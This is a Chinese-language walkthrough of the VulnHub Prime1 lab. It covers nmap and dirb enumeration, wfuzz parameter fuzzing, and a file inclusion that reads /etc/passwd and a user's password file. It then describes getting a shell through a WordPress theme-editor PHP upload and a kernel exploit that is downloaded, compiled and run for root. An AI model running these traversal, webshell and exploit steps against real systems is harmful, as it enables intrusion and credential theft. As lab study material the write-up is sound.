目录
4.80端口-模糊测试&文件包含&wordpress CMS getshell
开头:
学习的视频是哔哩哔哩红队笔记:
「红队笔记」靶机精讲:Prime1 - 信息收集和分析能力的试炼,试试吧,按图索骥!_哔哩哔哩_bilibili
打靶时参考文章和本文借鉴文章:
红队打靶:Prime1详细打靶思路之模糊测试+内核提权(vulnhub)_prime1靶机-CSDN博客
靶机下载链接见:
https://download.vulnhub.com/sickos/sick0s1.1.7z
1.主机发现:
Sudo nmap -sn 192.168.254.0/24
目标主机ip:192.254.168.144
2.端口扫描
1.快速扫描发现存活端口:
Sudo nmap -min-rate 10000 -p- 192.168.254.144
发现存活端口:22,80
2.TCP扫描,查看详细端口开放服务信息和操作系统信息
Sudo nmap -sT -sV -O -p22,80 192.168.254.144
3.UDP扫描-以防UDP存在攻击点:
sudo nmap -sU -p22,80 192.168.254.144
4.脚本漏洞扫描,为我们渗透提供初步思路:
sudo nmap --script=vuln -p22,80 192.168.254.144
扫描的结果:
1.DOS攻击:没有用
2.目录枚举:泄露了出存在wordoress的cms,还要cms登录窗口
3.攻击权重分析:
80:web端,攻击面大
22: 很少存在漏洞
4.80端口-模糊测试&文件包含&wordpress CMS getshell
80端口浏览器访问:
给出了一张照片,查看了源码和数据包都没什么线索,只能对其目录扫描了
dirb http://192.168.254.144/
三个发现,
1.发现一个dev文件,
2.发现了js框架Jquery,
3. 发现了一个内容管理系统(CMS)wordpress
Dev:
你好
现在您处于 0 级阶段。
在现实生活中的渗透测试中,我们应该使用我们的工具非常努力地挖掘网络。
快乐黑客。
这句话提示我们现在位于0阶段,(像游戏一样,一关一关的)
还提示我们应该使用我们的工具非常努力地挖掘网络
----------------------------------------------------------------------
非常努力的挖掘?
在我的理解上,它是叫我们继续目录爆破,但是需要更往深处去发现
那我们就对目录爆破设置参数,进行扫描
sudo dirb http://192.168.254.144 -X .txt,.php,.html
限定扩展名,特定搜索(因为很多有信息的文件可能是txt,html,ph 或者zip吗,都尝试一下)
发现一个secret.txt秘密文件夹
secret.txt:
看来你有一些秘密。
好的,我只是想帮你一些忙。
在你找到的php的每一页上做更多的模糊。如果
您可以获得任何正确的参数,然后按照以下步骤操作。如果你仍然卡住了
从这里学习一个对 OSCP 有很好的用法的基本工具。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
看到location.txt,你就会得到你的下一步行动//
根据提示看来我们找对,这提示也给出了我们下一步的线索
“找到的php的每一页上做更多的模糊”
“获得任何正确的参数”
“OSCP”
“看到location.txt,你就会得到你的下一步行动”
应该是叫我们在获得的每页PHP文件使用模糊测试,获得正确的参数,然后找到localhost.txt
什么是模糊测试?
模糊测试也是一种爆破,它使用半自动或者全自动生成的一些数据,去测试程序/web,看什么数据能对其产生影响(反正使用工具对其模糊测试)
什么是OSCP?
OSCP认证,目前安全技术类的证书,OSCP(Offensive Security Certified Professional) 是为数不多得到国际认可的安全实战类认证
我们要先找到,所以能找到的PHP页面
sudo dirb http://192.168.254.144 -X .php
Index.php image.php,那我们就要对这两个文件进行fuzz 模糊测试
Wfuzz web模糊测试工具
打开他提示中的工具链接:
他给出我们枚举页面正确参数的指令,我们正好的也是需要找到正确参数
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.254.144/image.php?FUZZ=
使用命令,可以看到这样的结果,模糊测试就是爆破,用生成的payload去尝试对参数进行爆破失败是大部分的,所以我们可以通过Chars字段,看返回结果,因为大部分chars都是147 所以chars等于147的都是失败的,我们应该过滤掉147
通过查看帮助文档:--hh 命令可以隐藏字符的响应
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hh 147 http://192.168.254.144/image.php?FUZZ=
Images下没有找到
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hh 136 http://192.168.254.144/index.php?FUZZ=
在index.php文件下找到了参数file
接下来就应该思考,我们找到index.php下面的参数有个干什么?
file这个参数,在文件包含中经常用到,而且我们应该提供模糊测试找到参数了
但我们并没有找到location.txt文件,所有我们可以尝试文件包含location.txt文件
curl http://192.168.254.144/index.php?file=location.txt
成功了又给出了新的提示
做一些更好的事情<br><br><br><br><br><br>,好吧,现在你重新获得确切的参数,<br><br>现在为下一个挖掘更多,<br>在其他一些 php 页面上使用“secrettier360”参数以获得更多乐趣。
“在其他一些 php 页面上使用“secrettier360”参数以获得更多乐趣
”
那也只有image.php
curl http://192.168.254.144/image.php?secrettier360
他告诉我获得了正确的参数,上面又叫我做些有趣的事情,我就尝试包含,etc/passwd文件
curl http://192.168.254.144/image.php?secrettier360=../../../../etc/passwd
其中这两条很有意思:
1.victor 用户用于bash
2.saket:x:1001:1001:find password.txt file in my directory:/home/saket:
find password.txt file in my directory:
在他的目录下可以发现password文件
我们先用文件包含试试上面的paassword文件
curl http://192.168.254.144/image.php?secrettier360=/home/saket/password.txt
saket : follow_the_ippsec 获得一个密码
我们获得了这个用户名和密码尝试ssh
错了,但是我相信这肯定是有用的,这边的利用我觉得应该已经完成,可以去看看wordpress CMS ,好像存在后台,登录上后台
我们找到wordpress的后台登录界面,尝试登录 ,也失败了(默认密码,弱口令,sql注入都没有成功)
saket : follow_the_ippsec 这对账号密码不对,但是这肯定是一个正确的密码,只是我们没有找到用户。
访问wordpress主页看看线索
发现了一个 victor 名字和在passwd中用户bash权限的用户,还要一个搜索功能(可能存在sql注入),我们现尝试一样,这个用户名和密码进行匹配登录
登录成功,进入wordpress后台
进入后台的常规思路,在cms的后台寻找可以上传文件和代码执行的位置,但wordpress 是一款很出名的CMS,我们应该对其的getshell方式知晓
wordpress 后台getshell:
找到若干文件,其中包含了PHP文件,看看我们是否有写权限
看了很多都是无法修改的没有写权限,但是不能放弃嘛,把每个php文件都看一下
于让我们发现了一个可以写入的文件了,也给了我们提示,我们写入phpshell但是我们不知道访问路径,我一通乱测试,都没有成功,(忘记上网查了,wordpress是很出名的CMS,网上可以查到很多有用消息)
在这些文件第一个上面就给出来访问路径,试过之后还是不行,
因此我们要访问的路径就是/themes/twentynineteen/secret.php,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:
http://192.168.200.142/wordpress/wp-content/themes/twentynineteen/secret.php
反弹shell成功
就是目标主机,但是获得的是一个功能用户,低权限,但是我们初步获得立柱点,ubuntu 4.10.0-28-generic 内核版本
5.内核提权:
sudo -l
可以不用密码,就能执行enc文件(看见enc可以想到oppssL解码,解法2在下篇文章解答)
不用root密码就可以root去执行enc文件,但是enc文件有密码啊(找密码备份文件) 但这是解法2中的我就不继续了
ubuntu 4.10.0-28-generic 内核版本过低,可能存在内核提权我们尝试用searchsploit搜索
嗯。。。generic不加,内核版本是 ubuntu4.10.10-28 generic(通用的) 是服务器的主要功能
发现三个内核漏洞其他两个都可以提权,依次尝试
第二个漏洞下载下来是个.c文件,是一个C语言文件
打开看一下使用方法
使用gcc 编译(由于不同环境gcc编译后的文件是不同的,这里我们应该把45010.c上传到靶机环境中再在靶机中进行编译。如果靶机中没有gcc,那再考虑搭建靶机环境,或者本地编译再上传。此处我们在kali中启动一个http服务,开放80端口(用php或者python都可以,我这里就用php了)
php -S 0:80
目标主机上wget http://192.168 ……下载
但是我发现下载不下来
│45010.c: 权限被拒绝
我们应该是对这个目录没有写入权限
我移动到根目录查看,每个文件夹的权限,发现只要tmp文件有写入权限
1.尝试编译
gcc 45010.c -o getRoot
2.添加执行权限
chmod +x getRoot
3.运行
./ getRoot 运行
提权成功,但表示完整的交互,看看是否有python
Dpkg -l
就拿下主机,这是方法1
6.总结
该靶场是开始是给出你线索,让你一步一步的向下去探索,也可以给我们实战中一些思路:模糊测试获得参数,根据参数名来尝试是否存在漏洞(sql注入,文件包含),还有对常见cms后台getshelld的方式要熟悉
1.主机发现&端口扫描:目标主机:192.254.168.144;存活端口:22,80
2.80端口-根据线索进行模糊测试发现index.php的file参数,尝试文件包含lication.txt,再次提供线索,获得image.php的正确参数,利用image.php的文件包含,查看/etc/passwd,得到wordpress后台密码
3.登录进wordpress后台,getshell,获得初步立足点
4.发现目标主机内核版本过低,存在内核提权漏洞
提供靶场我学习到了
1.模糊测试参数获取
2.wordpress后台getshell的方法
3.内核提权